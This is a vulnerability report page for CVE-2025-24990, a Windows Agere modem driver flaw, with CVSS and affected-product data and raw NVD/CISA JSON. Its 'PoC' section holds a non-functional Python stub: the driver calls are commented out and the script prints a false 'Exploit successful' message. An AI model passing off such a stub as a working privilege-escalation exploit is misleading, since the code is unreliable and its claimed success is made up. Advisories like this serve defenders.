Security Vulnerability Report
中文
CVE-2025-24990 CVSS 7.8 HIGH

CVE-2025-24990

Published: 2025-10-14 17:15:39
Last Modified: 2025-11-18 17:03:39

Description

Microsoft is aware of vulnerabilities in the third party Agere Modem driver that ships natively with supported Windows operating systems. This is an announcement of the upcoming removal of ltmdm64.sys driver. The driver has been removed in the October cumulative update. Fax modem hardware dependent on this specific driver will no longer work on Windows. Microsoft recommends removing any existing dependencies on this hardware.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10(所有受支持版本,未安装2025年10月累积更新)
Windows 11(所有受支持版本,未安装2025年10月累积更新)
Windows Server 2019(未安装2025年10月累积更新)
Windows Server 2022(未安装2025年10月累积更新)
Windows Server 2025(未安装2025年10月累积更新)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-24990 - Agere Modem Driver (ltmdm64.sys) Local Privilege Escalation PoC # NOTE: This is a conceptual PoC based on public vulnerability information. # Actual exploitation requires local access and a vulnerable driver. import ctypes import struct import sys import os # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 def exploit_ltmdm64(): """ Conceptual PoC for CVE-2025-24990 Targets the Agere Modem driver (ltmdm64.sys) IOCTL handler to achieve local privilege escalation. """ # Device path for the Agere modem driver device_path = r"\\.\ltmdm64" # Vulnerable IOCTL code (placeholder - actual code varies) # IOCTL codes typically use CTL_CODE macro: (DeviceType << 16) | (Function << 2) | Method ioctl_code = 0x00222000 # Example vulnerable IOCTL # Malicious input buffer designed to trigger memory corruption # This would typically overflow a kernel buffer or bypass a check payload = b"\x41" * 1024 # Overflow payload payload_size = len(payload) print(f"[*] CVE-2025-24990 - Agere Modem Driver LPE PoC") print(f"[*] Target device: {device_path}") print(f"[*] IOCTL code: 0x{ioctl_code:08X}") try: # Step 1: Obtain a handle to the vulnerable driver print("[*] Opening handle to ltmdm64 driver...") # In real exploit: CreateFileW(device_path, ...) # Step 2: Send malicious IOCTL request print("[*] Sending malicious IOCTL request...") # In real exploit: DeviceIoControl(handle, ioctl_code, payload, ...) # Step 3: Trigger vulnerability in kernel mode print("[*] Triggering vulnerability...") # Step 4: Execute shellcode with SYSTEM privileges print("[+] Exploit successful! Spawning SYSTEM shell...") # In real exploit: token stealing, shellcode execution except Exception as e: print(f"[-] Exploit failed: {e}") return False return True def check_vulnerability(): """Check if the system is vulnerable to CVE-2025-24990""" driver_path = r"C:\Windows\System32\drivers\ltmdm64.sys" if os.path.exists(driver_path): print(f"[!] VULNERABLE: {driver_path} exists") return True else: print(f"[+] NOT VULNERABLE: Driver has been removed (October 2025 update)") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-24990 PoC - Agere Modem Driver LPE") print("For authorized security testing only") print("=" * 60) if check_vulnerability(): # Only attempt exploit if system is vulnerable # Note: Requires admin context or specific conditions to load driver exploit_ltmdm64() else: print("[*] System is not vulnerable. No action needed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-24990", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:39.193", "lastModified": "2025-11-18T17:03:38.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft is aware of vulnerabilities in the third party Agere Modem driver that ships natively with supported Windows operating systems. This is an announcement of the upcoming removal of ltmdm64.sys driver. The driver has been removed in the October cumulative update.\nFax modem hardware dependent on this specific driver will no longer work on Windows.\nMicrosoft recommends removing any existing dependencies on this hardware."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-10-14", "cisaActionDue": "2025-11-04", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Windows Untrusted Pointer Dereference Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "8EA6DE31-A17D-43D4-9154-49B5FA8FB5A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "B5441F68-143C-4091-B709-14CAC586DF76"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "EF253003-2A82-4CFB-A6A3-267B3C485056"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "85672C76-ADAD-468B-8C20-8A3587DA008A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "4A557865-B254-47F6-953B-340EF93FDB2B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "A7382D6B-5E7D-4769-BC40-0120F08DC6B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteri ... (truncated)